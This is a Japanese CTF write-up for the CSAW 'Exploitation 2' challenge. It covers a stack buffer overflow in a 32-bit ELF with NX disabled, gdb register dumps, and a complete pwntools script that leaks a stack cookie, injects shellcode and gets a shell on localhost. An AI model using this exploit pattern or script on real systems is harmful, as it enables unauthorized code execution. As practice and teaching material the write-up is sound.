pwnlist baby Exploitation2
更新出来ていなかったけど,今日からまた再開.
Exploitation2,3,4,babyecho,r0pbabyまでは解いているので,復習がてらそれぞれの問題を今後まとめていく.
下調べ
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation2$ file exploit2 | sed -e "s/,/\n/g" exploit2: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.24 BuildID[sha1]=94f196c7d8ce45ecf9943690ed4e193c9d13b906 not stripped
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH exploit2
SSP,NXが無効.
解析
実行ファイルをstraceを利用して起動するとポート31338で接続を待ち受けていることがわかるのでncコマンドで接続.
接続するとexploit入力してねと言われ,入力できる.何かしら入力するとプログラムが終了する.
�����Welcome to CSAW CTF. Exploitation 2 will be a little harder this year. Insert your exploit here:
いろいろ入力を試しても特にバグっぽいのが見つからない.「Welcome to ~」の前の文字化けが気になるところ.解析していく.
入力用に確保した領域を超えて入力が取れるためEBPを入力で書き換えることが可能.
つまり0x80c+4を超える文字を入力すればリターンアドレスを書き換えられる.
[----------------------------------registers-----------------------------------] EAX: 0x4 EBX: 0xffffc82c (0xffffc82c) ECX: 0x0 EDX: 0x0 ESI: 0xf7fb9000 --> 0x1afdb0 EDI: 0xffffd02c --> 0x662f2dbc EBP: 0xffffd038 --> 0xffffd148 --> 0x0 ESP: 0xffffc810 --> 0x4 EIP: 0x80488f5 (<handle+232>: call 0x8048700 <recv@plt>) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80488e5 <handle+216>: lea eax,[ebp-0x80c] # 入力の値用に0x80c呂域確保 0x80488eb <handle+222>: mov DWORD PTR [esp+0x4],eax 0x80488ef <handle+226>: mov eax,DWORD PTR [ebp+0x8] 0x80488f2 <handle+229>: mov DWORD PTR [esp],eax => 0x80488f5 <handle+232>: call 0x8048700 <recv@plt> #入力範囲が0x1000と確保した領域より大きく取れる. 0x80488fa <handle+237>: mov BYTE PTR [ebp-0xd],0x0 0x80488fe <handle+241>: mov edx,DWORD PTR [ebp-0xc] 0x8048901 <handle+244>: mov eax,ds:0x804a074 0x8048906 <handle+249>: cmp edx,eax Guessed arguments: arg[0]: 0x4 arg[1]: 0xffffc82c (0xffffc82c) arg[2]: 0x1000 arg[3]: 0x0
ただし,このプログラムは入力を受け取ったあとに,cmp命令で0x804a074の値(eax)とebp-0xcの値(ebp)を比較していた.
[----------------------------------registers-----------------------------------] EAX: 0x10 EBX: 0xffffc82c ('A' <repeats 13 times>, "aa\n") ECX: 0x0 EDX: 0x662f2dbc ESI: 0xf7fb9000 --> 0x1afdb0 EDI: 0xffffd02c --> 0x662f2dbc EBP: 0xffffd038 --> 0xffffd148 --> 0x0 ESP: 0xffffc810 --> 0x4 EIP: 0x8048901 (<handle+244>: mov eax,ds:0x804a074) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80488f5 <handle+232>: call 0x8048700 <recv@plt> 0x80488fa <handle+237>: mov BYTE PTR [ebp-0xd],0x0 0x80488fe <handle+241>: mov edx,DWORD PTR [ebp-0xc] => 0x8048901 <handle+244>: mov eax,ds:0x804a074 0x8048906 <handle+249>: cmp edx,eax 0x8048908 <handle+251>: je 0x8048921 <handle+276> 0x804890a <handle+253>: mov eax,DWORD PTR [ebp+0x8] 0x804890d <handle+256>: mov DWORD PTR [esp],eax
逆アセンブルしたコードを見ていると,どうやらプログラムが走るたびに比較用の値をrand関数を用いて生成しているらしい.比較用の値が一致していないとプログラムが正常に終了しないため,リターンアドレスを書き換えようとして大量に文字を送ると比較用の値も書き換わってしまいEIPをうまく奪えない.
ここで例の文字化けした値を見てみると,比較用の値と入力を格納しているスタックのアドレスであることがわかった.
ということで,これで問題なくEIPを奪える.
Exploit
NX無効なので入力を格納しているスタックにシェルコード積んで実行してやれば良い.
比較用の値の位置を注意してExploitを書く.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct host = 'localhost' port = 31338 #context.log_level = 'debug' conn = remote(host, port) shellcode = asm(shellcraft.dupsh(4)) shellcode += asm(shellcraft.sh()) input_addr = conn.recv(4) #入力の格納先アドレス key = conn.recv(4) # 比較用の値 print hex(u32(input_addr)) print hex(u32(key)) payload = shellcode payload += "A" * (2048 - len(shellcode)) payload += key payload += "A" * 12 payload += input_addr payload += "\n" conn.recv() conn.send(payload) conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation2$ python exploit.py [+] Opening connection to localhost on port 31338: Done 0xffffc82c 0x7d8a854d [*] Switching to interactive mode $ ls dump exploit.py exploit2 peda-session-exploit2.txt